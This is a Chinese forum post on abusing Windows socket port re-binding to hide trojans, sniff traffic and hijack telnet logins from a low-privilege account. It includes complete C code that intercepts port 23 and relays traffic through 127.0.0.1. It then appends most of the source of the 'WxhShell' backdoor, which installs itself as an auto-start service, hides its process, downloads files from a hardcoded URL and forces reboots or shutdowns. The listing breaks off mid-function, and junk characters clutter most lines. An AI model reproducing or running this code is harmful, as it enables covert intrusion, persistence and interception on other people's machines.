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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LS;kq',  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); };|'8'5  
|jlR] ,  
  saddr.sin_family = AF_INET; "dIoIW  
a,X3=+_K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); / wEr>[8S  
 )57OZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9E+^FZe  
!|SawT5t   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HRk+2'wjAz  
.d;/6HD[y  
  这意味着什么?意味着可以进行如下的攻击: kC)dia{$  
x9a0J1Nb-h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K:y>wyzl  
0 }q/VH57  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q"KH!Bu%P  
f_}55?i0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K/altyj`  
H4UnF5G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +IMP<  
,ua]h8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :t(}h!7  
'O CVUF,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U^.$k-|k  
Fik*7!XQ8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;kdJxxUox  
b8O:@j2  
  #include JAYom%A"  
  #include +K&ze:-Z  
  #include % L]xar  
  #include    <~3@+EEM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   { aU~[5L3(  
  int main() FG?B:Zl%T  
  { U]_1yX  
  WORD wVersionRequested; *0Fn C2W1  
  DWORD ret; v6]lH9c{,  
  WSADATA wsaData; V /|@   
  BOOL val; ]F,5Oh :OY  
  SOCKADDR_IN saddr; (UpSi6?\  
  SOCKADDR_IN scaddr; XMpPG~XdN  
  int err; @D%VV=N~[  
  SOCKET s; 6x_8m^+m  
  SOCKET sc; F<o J  
  int caddsize; _T H'v:C  
  HANDLE mt; o)w'w34FCT  
  DWORD tid;   Uj_%U2S$  
  wVersionRequested = MAKEWORD( 2, 2 ); =VDN9-/.  
  err = WSAStartup( wVersionRequested, &wsaData ); pDW .Pav  
  if ( err != 0 ) { VF;%Z  
  printf("error!WSAStartup failed!\n"); =>&d[G[m!  
  return -1; L,n'G%  
  } p=p,sJ/@  
  saddr.sin_family = AF_INET; th !Gc  
   &}6=V+J;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;vuok]@  
I6\ l 6o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6*CvRb&  
  saddr.sin_port = htons(23); s3oK[:/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !s5 _JO  
  { :Z,zWk1|  
  printf("error!socket failed!\n"); 1--5ok h  
  return -1; 21W>}I"0?  
  } @qI^xs=Z  
  val = TRUE; k |M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J-b Z`)[Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %G>*Pez %  
  {  $33wK  
  printf("error!setsockopt failed!\n"); wTqgH@rGtR  
  return -1; x]w%?BlS  
  } G$WMW@fy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VP5_Y1e7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (;\JCeGA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !Vy/-N  
o[aRG7C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fE,\1LK4  
  { c.r]w  
  ret=GetLastError(); z" 4$mh  
  printf("error!bind failed!\n"); [WuN?H  
  return -1; -:Yx1Y3 [  
  } y3 kXfSe  
  listen(s,2); 0rooL<~fa  
  while(1) _>0 I9.[5  
  { KftZ ^mk+p  
  caddsize = sizeof(scaddr); uK1DC i  
  //接受连接请求 .*i.Z   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xbe=_9l&p  
  if(sc!=INVALID_SOCKET) Sw%^&*J  
  { /GqW1tcO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +uLl3(ml  
  if(mt==NULL) p{NVJ^! +  
  { VM88#^  
  printf("Thread Creat Failed!\n"); ~}+F$&  
  break; gM&XVhQJ\  
  } *i?#hTw  
  } 9n%vz@X  
  CloseHandle(mt); XC%u`UG  
  } l*^c?lp)  
  closesocket(s); u8 Q`la  
  WSACleanup(); M:rE^El  
  return 0; &( aw  
  }   .7_<0&kW  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3vepJ) D (  
  { SN' j?-  
  SOCKET ss = (SOCKET)lpParam; D.su^m_1  
  SOCKET sc; M*<Ee]u  
  unsigned char buf[4096]; AhWcJD]  
  SOCKADDR_IN saddr; 2Jm#3zFYz3  
  long num; E.45 s? r  
  DWORD val; ~x4]^XS  
  DWORD ret; 5LMAy"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f0S$p R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hR(\%p  
  saddr.sin_family = AF_INET; Y,n&g45m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E9<oA.  
  saddr.sin_port = htons(23); #? u#=]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P-U9FKrt  
  { Xw)W6H|  
  printf("error!socket failed!\n"); Tmjcc(  
  return -1; h6`v%7H?  
  } ]O]6O%.ao  
  val = 100; G LU7?2`t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +`=rzL"0I7  
  { | $  
  ret = GetLastError(); %0&59q]LM  
  return -1; m?GBvL$  
  } NpI "XQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  OXDEU.  
  { /3#)  
  ret = GetLastError(); K-<<s  
  return -1; #:[^T,YD0  
  } q|h#J}\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x`n7D  
  { >= O5=\`  
  printf("error!socket connect failed!\n"); Op<,e{[]  
  closesocket(sc); &1 t84p:^=  
  closesocket(ss); ]?c9;U  
  return -1; =/kwUjC?  
  } S3 Dmc\f  
  while(1) h\-3Y U  
  { 46 [k9T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JIL(\d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q!f'?yFYK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GBSuTu8  
  num = recv(ss,buf,4096,0); tqk^)c4FF(  
  if(num>0) vLI'Z)\  
  send(sc,buf,num,0); tw k  
  else if(num==0) b=+3/-d  
  break; T$!Pkdh  
  num = recv(sc,buf,4096,0);  9q[ d?1  
  if(num>0) V10JExsJ  
  send(ss,buf,num,0); ;r?s7b/>  
  else if(num==0) wNvq['P  
  break; Ky[s& >02  
  } N||a0&&  
  closesocket(ss); lq}m0}9<  
  closesocket(sc); sU7fVke1   
  return 0 ; s'B$/qCkR  
  } XmJ?oPr7  
d C>[[_  
Xx,Rah)X3  
========================================================== s+0n0C  
T|k_$LH  
下边附上一个代码,,WXhSHELL pgd9_'[5  
=j^>sg]  
========================================================== 2=IZD `{!  
s.$:.*k  
#include "stdafx.h" 1$_|h@  
=C#22xqQ.  
#include <stdio.h> 5Sz&j  
#include <string.h> WU\Bs2  
#include <windows.h> =I8^E\O("  
#include <winsock2.h> k 5gvo  
#include <winsvc.h> p54 e'Zb  
#include <urlmon.h> Lo*vt42{4  
q"0_Px9P  
#pragma comment (lib, "Ws2_32.lib") ^Ycn&`s  
#pragma comment (lib, "urlmon.lib") v`&>m '  
]kdU]}z  
#define MAX_USER   100 // 最大客户端连接数 +OaBA>Jh9  
#define BUF_SOCK   200 // sock buffer gY {/)"  
#define KEY_BUFF   255 // 输入 buffer U_sM==~  
}Jo}K) >!  
#define REBOOT     0   // 重启 fA)4'7UT  
#define SHUTDOWN   1   // 关机 Ex<@:  
yYH>~,  
#define DEF_PORT   5000 // 监听端口 w!r.MWE  
G?+0#?'Y  
#define REG_LEN     16   // 注册表键长度 ~P fk   
#define SVC_LEN     80   // NT服务名长度 \=c@  
)0o|u>  
// 从dll定义API XyYP!<].C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K!a7Hg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {W'{A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O:j=L{,d^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q|_Cj]{  
o0kKf+[  
// wxhshell配置信息 +2#pP  
struct WSCFG { &ox5eX(  
  int ws_port;         // 监听端口 SoHw9FtS  
  char ws_passstr[REG_LEN]; // 口令 J3 xi5S  
  int ws_autoins;       // 安装标记, 1=yes 0=no ra F+Bt`  
  char ws_regname[REG_LEN]; // 注册表键名 3ih:t'N-  
  char ws_svcname[REG_LEN]; // 服务名 8;i'dF:)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dc9Fb^]QOG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W~& QcSWqD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R-6km Tex>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x-T7 tr&(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]# ;u]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kS62]v]  
w""  
}; {!*dk V  
Rhzcm`"  
// default Wxhshell configuration Og1Hg B3v  
struct WSCFG wscfg={DEF_PORT, |@rYh-5  
    "xuhuanlingzhe", PmA_cP7~  
    1, x75 3o\u!  
    "Wxhshell", ]]hsLOM]  
    "Wxhshell", EouI S2e;a  
            "WxhShell Service", `svOPB4C'  
    "Wrsky Windows CmdShell Service", V^kl_!@  
    "Please Input Your Password: ", m!WDXt  
  1, 8b X?HeYrr  
  "http://www.wrsky.com/wxhshell.exe", b6^#{))"  
  "Wxhshell.exe" mr+8[0  
    }; ;F:Qz^=.a  
COL_c<\  
// 消息定义模块 Bgs,6:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \ccCrDz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B/K{sI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @<$_X1)s  
char *msg_ws_ext="\n\rExit."; E9Hyd #A  
char *msg_ws_end="\n\rQuit."; \tfhF#'  
char *msg_ws_boot="\n\rReboot..."; 6C- !^8[f  
char *msg_ws_poff="\n\rShutdown..."; T# 3`&[  
char *msg_ws_down="\n\rSave to "; `;Xwv)  
K 5AArI  
char *msg_ws_err="\n\rErr!"; YH3[Jvzf4  
char *msg_ws_ok="\n\rOK!"; =k2"1f~e  
 s x)x7  
char ExeFile[MAX_PATH]; tC&jzN"  
int nUser = 0; |DUOyQ  
HANDLE handles[MAX_USER]; Es&'c1$^s  
int OsIsNt; $yZ(ws  
Q oWjC  
SERVICE_STATUS       serviceStatus; w/wU~~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4EFP*7X  
&!? qSi~V  
// 函数声明 }4_c~)9Q  
int Install(void); 84c[Z   
int Uninstall(void); 7jPn6uz>w  
int DownloadFile(char *sURL, SOCKET wsh); :Oc&{z?q  
int Boot(int flag); ?>iZ){0,  
void HideProc(void); R ]y9>5 'U  
int GetOsVer(void); pbNW l/|4  
int Wxhshell(SOCKET wsl); v]m#+E   
void TalkWithClient(void *cs); (h27SLYm  
int CmdShell(SOCKET sock); 70E@h=oQ  
int StartFromService(void); 7VA6J-T  
int StartWxhshell(LPSTR lpCmdLine); rm!.J0 X  
^"4u1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HE*P0Y f=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x=3+@'  
}J] P`v  
// 数据结构和表定义 XaYgl&x'!x  
SERVICE_TABLE_ENTRY DispatchTable[] =  p/?TU  
{ 'p4b8:X  
{wscfg.ws_svcname, NTServiceMain}, l?zWi[Zf  
{NULL, NULL} 6'JP%~QlS  
}; C<hb{$@  
\2AXW@xE  
// 自我安装 TmdR B8N  
int Install(void) 0@2pw2{Ru  
{ hJ0m;j&4y  
  char svExeFile[MAX_PATH]; fZt3cE\  
  HKEY key; N0&#fXO  
  strcpy(svExeFile,ExeFile); K9Bi2/N  
#*;Nb  
// 如果是win9x系统,修改注册表设为自启动 l( ?Yx  
if(!OsIsNt) { EhHW`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } bEu+bZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kA(q-Re$B*  
  RegCloseKey(key); FUKE.Uxd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u^uo=/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Jp "E5Ql)  
  RegCloseKey(key); Tp%4{U/0`  
  return 0; .E0*lem'hE  
    } ^g*/p[  
  } <=&7*8u0+  
} G+l9QaFv  
else { +ywd(Tuzm  
U4,hEnJBT  
// 如果是NT以上系统,安装为系统服务 nuX W/7M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n`g:dz  
if (schSCManager!=0) RYKV?f#[H  
{ eO=!(  
  SC_HANDLE schService = CreateService k<\]={ |=  
  ( 7x :j4  
  schSCManager, 5A*'@Fr'G  
  wscfg.ws_svcname, h}$]3/5H  
  wscfg.ws_svcdisp, 4!tHJCq"  
  SERVICE_ALL_ACCESS, w\3'wD!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7`6JK  
  SERVICE_AUTO_START, IXmO1*o@  
  SERVICE_ERROR_NORMAL, ti9 cfv>  
  svExeFile, !YEU<9  
  NULL, G/C5o=cY  
  NULL, 0!,)7  
  NULL, Ss{  
  NULL, R7!^ M  
  NULL rCO:39L-  
  ); 7<%Rx19L*  
  if (schService!=0)  LYX\#  
  { hy|X(m  
  CloseServiceHandle(schService); 7&9'=G  
  CloseServiceHandle(schSCManager); wq"AWyu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [/I1%6;  
  strcat(svExeFile,wscfg.ws_svcname); vH^^QI:em  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `)R@\@jt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nW (wu!2  
  RegCloseKey(key); ?W"9G0hTqM  
  return 0; 6'N!)b^-  
    } )04lf*ti  
  } ';?b99  
  CloseServiceHandle(schSCManager); /A) v $Bv=  
} O[fgn;@|  
} ]]Da/^K=Z  
+kTa>U<?  
return 1; }qOC*k:  
} $0K%H  
0IEFCDeCO  
// 自我卸载 1f1J'du  
int Uninstall(void) <U$A_ ]*w  
{ ,/g\;#:{@]  
  HKEY key; nNff~u)I  
K*Tvo `  
if(!OsIsNt) { (FAd'$lhX}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6\9 9WQ  
  RegDeleteValue(key,wscfg.ws_regname); d/OIc){tD  
  RegCloseKey(key); <WGl4#(k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cnOk  
  RegDeleteValue(key,wscfg.ws_regname); wp,z~raaS  
  RegCloseKey(key); gaJIc^O  
  return 0; M('cG  
  } l<$c.GgFd  
} V ;)q?ZHg  
} :22IY> p  
else { 2;`"B|-T  
]-aeoa#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oa?eK  
if (schSCManager!=0) $V)LGu2( m  
{ [y T4n.f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bMD'teJ  
  if (schService!=0) ^9UF Pij"  
  { HYPFe|t/  
  if(DeleteService(schService)!=0) { +B@NSEy/+  
  CloseServiceHandle(schService); S!n 9A  
  CloseServiceHandle(schSCManager); VBssn]w  
  return 0; 3Ecm Nwr  
  } Cs %-f"  
  CloseServiceHandle(schService); BKm$H! u  
  } O/\jkF  
  CloseServiceHandle(schSCManager); )gCHwu  
} k852M^JP  
} 3HA$k[%7P  
[#td  
return 1; 05MtQB   
} V|.aud=7z  
E `)p,{T  
// 从指定url下载文件 ]Nvtiw 6  
int DownloadFile(char *sURL, SOCKET wsh) 0 n,5"B  
{ [j0I}+@4H  
  HRESULT hr; BifA&o%  
char seps[]= "/"; ~&~%qu  
char *token; .so{ RI  
char *file; ?8(`tS(_?  
char myURL[MAX_PATH]; S~F:%@,*  
char myFILE[MAX_PATH]; dTaR 8i  
W &4`eB/4}  
strcpy(myURL,sURL); -i'T!Qg1  
  token=strtok(myURL,seps); Rhx7eU#&  
  while(token!=NULL) B<[;rk  
  { EBM\p+x&  
    file=token; %~ecrQ;  
  token=strtok(NULL,seps); ooIMN =  
  } R\:C|/6f  
&U xN.vl  
GetCurrentDirectory(MAX_PATH,myFILE); [NvEX Td  
strcat(myFILE, "\\"); B:z-?u#B  
strcat(myFILE, file); =,[46 ;q  
  send(wsh,myFILE,strlen(myFILE),0); 4 _N)1u !  
send(wsh,"...",3,0); ja7Z v[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :<&}/r  
  if(hr==S_OK) DcbL$9UI  
return 0; Bw*z4qb{yH  
else _T5~B"*  
return 1; 5.[{PJ]bq  
9$Mi/eLG2N  
} dY\"'LtF  
e|Sg?ocR  
// 系统电源模块 `z` `d*_  
int Boot(int flag) @mJN  
{ e^XijId.  
  HANDLE hToken; AD?DIE(v  
  TOKEN_PRIVILEGES tkp; q 8=u.T  
bOck^1Hky  
  if(OsIsNt) { kM3BP& 3m1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MmWJYF=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YF>t{|  
    tkp.PrivilegeCount = 1; yekIw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I I>2\d|   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sjTsaM;<  
if(flag==REBOOT) { $xu?zd"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;wQWt_OtuJ  
  return 0; % C 3jxt  
} :GK{ JP  
else { j 5'Jp}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6>=>Yj  
  return 0; pXFNK" jm  
} kw-/h+lG  
  } Rc6 )v  
  else { B E"nyTQ  
if(flag==REBOOT) { k)v[/#I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eF8`an5S  
  return 0; |}M']Vz  
} 9x?;;qC"m9  
else { o@>c[knJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jl]]nO BQ/  
  return 0; kmc9P&  
} u=E?N:I~F  
} '-i tn  
=|U2 }U;  
return 1; p fBO5Ys  
} _kY5 6  
zi?'3T%Ie  
// win9x进程隐藏模块 mzT} C&hfP  
void HideProc(void) )b%c]!  
{ "{x~j \<  
K%pmE?%,8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #dpt=  
  if ( hKernel != NULL ) <,E*,&0W  
  { 99ha /t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q?a"uei[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3,vH:L4  
    FreeLibrary(hKernel); :):Y6)giBD  
  } /XSPVc<  
b(SV_.4,'  
return; #`p>VXBj!  
} /5x `TT  
T) ,:8/  
// 获取操作系统版本 huF L [  
int GetOsVer(void)  ,g,jY]o  
{ N9n1s2;o  
  OSVERSIONINFO winfo; *c AoE l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `>sqP aD  
  GetVersionEx(&winfo); DYWC]*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4iLU "~  
  return 1; w@: ]]R  
  else &1h3o^K  
  return 0; R$fna[Xw@/  
} *2AQ'%U~  
/B!m|)h5~  
// 客户端句柄模块 } )e`0)  
int Wxhshell(SOCKET wsl) oba*w;  
{ jO,<7FPs5  
  SOCKET wsh; aydal 9M  
  struct sockaddr_in client; r6$=|Yto  
  DWORD myID; KvD$`"L/CT  
Z>,X$ Y6<  
  while(nUser<MAX_USER) 4w z 6%  
{ qXI30Yo#d  
  int nSize=sizeof(client); *n*y!z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r\ %O$zu  
  if(wsh==INVALID_SOCKET) return 1; v)d0MxSC  
<=inogf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +E [bLz^  
if(handles[nUser]==0) *(`.h\+  
  closesocket(wsh); %f-<ol  
else $dnHUBB  
  nUser++; Nb#7&_f=  
  } WsV3>=@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ) ,hj7  
\Zv =?\  
  return 0; ,\M_q">npc  
} :7ngVc  
# 0!IUSa  
// 关闭 socket "B}08C,?  
void CloseIt(SOCKET wsh) O0{  
{ U]D.z}0  
closesocket(wsh); K%}I}8M  
nUser--; Q#Y3%WF  
ExitThread(0); H n!vTB  
} h(8;7} K  
z`5I 1#PVA  
// 客户端请求句柄 Ozv.;}SE  
void TalkWithClient(void *cs) vs@:L)GW\  
{ 7:L~n(QpP  
668bJ.M\O  
  SOCKET wsh=(SOCKET)cs; c_q+_$t  
  char pwd[SVC_LEN]; 4:@|q:DR  
  char cmd[KEY_BUFF]; "r V4[MVxt  
char chr[1]; 0w['jh|,  
int i,j; z= p  
4LjSDgA  
  while (nUser < MAX_USER) { oPy zk7{  
]R{"=H'  
if(wscfg.ws_passstr) { +2}(]J=-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M=WE^v!b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #P-HV  
  //ZeroMemory(pwd,KEY_BUFF); X{xJ*T y'  
      i=0; ~|9LWp_  
  while(i<SVC_LEN) { #Q@6:bBzv  
XC1lo4|  
  // 设置超时 erP>P  
  fd_set FdRead;  y:OywIi(  
  struct timeval TimeOut; )t0b$<%  
  FD_ZERO(&FdRead); ptv 4v[gQ  
  FD_SET(wsh,&FdRead); y+scJ+<  
  TimeOut.tv_sec=8; E E|zY%  
  TimeOut.tv_usec=0; %gMpV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R$fIb}PDr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T+nC>}*jgJ  
0o|,& K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _A|\.(t  
  pwd=chr[0]; g$"eI/o  
  if(chr[0]==0xd || chr[0]==0xa) { S.)7u6/_!  
  pwd=0; :3>yr5a7-  
  break; L[G\+   
  } 5SL>q`t.bd  
  i++; pInWKj[y1  
    } ePRMv  
{}o>ne nx\  
  // 如果是非法用户,关闭 socket -fx88  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /C"s_:m;3  
} fF>qU-  
YaZt+WA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eH!|MHe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g**% J Xo  
*@arn Eu  
while(1) { M y"!j,Up  
-mHhB(Td'  
  ZeroMemory(cmd,KEY_BUFF); !-RpRRR[Co  
a61eH )a  
      // 自动支持客户端 telnet标准   DVoV:pk  
  j=0; q&$0i   
  while(j<KEY_BUFF) { CotMV^   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z)O>h^0  
  cmd[j]=chr[0]; Eb[H3v48,  
  if(chr[0]==0xa || chr[0]==0xd) { D^s0EW-E  
  cmd[j]=0; ;]ShC\1  
  break; ;~:Ryl M  
  } q AVfbcb  
  j++; .(dmuV9  
    } /9+A97{  
A Wh* <H  
  // 下载文件 lZA>L, \d  
  if(strstr(cmd,"http://")) { b)hOzx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HA.NZkq.tV  
  if(DownloadFile(cmd,wsh)) EOnp!]Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pv-V7`{  
  else d)GkXll1D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @oqi@&L'C  
  } /-K dCp~  
  else { y5Wqu9C\Io  
0"<;You  
    switch(cmd[0]) { %c&A h  
  )|h;J4V  
  // 帮助 BdoC6H  
  case '?': { v*'iWHCl,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); io Y\8i  
    break; d!QD vO  
  } 9 QCpXy  
  // 安装 Kpp *^  
  case 'i': { FP'u)eU&3  
    if(Install()) SeZT4y*=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J]Gc  
    else E2h;hr;W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQLHjGehe  
    break; t2 -nCRXEP  
    } k`7.p,;}U  
  // 卸载 zUEfa!#?  
  case 'r': { 4=F]`Lql  
    if(Uninstall())  `\|3 ~_v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `/wq3+?  
    else /,!7jF:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n#^?X  
    break; 6KCCbg/  
    } &v auLp  
  // 显示 wxhshell 所在路径 >.O*gv/ _  
  case 'p': { ok>P [ &!  
    char svExeFile[MAX_PATH]; `m@]  
    strcpy(svExeFile,"\n\r"); #1jtprc  
      strcat(svExeFile,ExeFile); SCh7O}  
        send(wsh,svExeFile,strlen(svExeFile),0); 61+pryW%g  
    break; K* _{Rs0P  
    } _> |R-vQ8  
  // 重启 V:F+HMBk  
  case 'b': { Ef_F#X0#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L=$?q/=-  
    if(Boot(REBOOT)) -M1~iOb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c6Yf"~TD0  
    else { csFJ5  
    closesocket(wsh); 1IF'>*  
    ExitThread(0); CDnR  
    } 6N %L8Q  
    break; {Ukc D+.Y  
    } }[KDE{,V  
  // 关机 6& &}P79  
  case 'd': { Pi"~/MGP$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iFwyh`Bcg  
    if(Boot(SHUTDOWN)) YM`:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #GY&$8.u*  
    else { 38*'8=Y#>  
    closesocket(wsh); $&xuVBs   
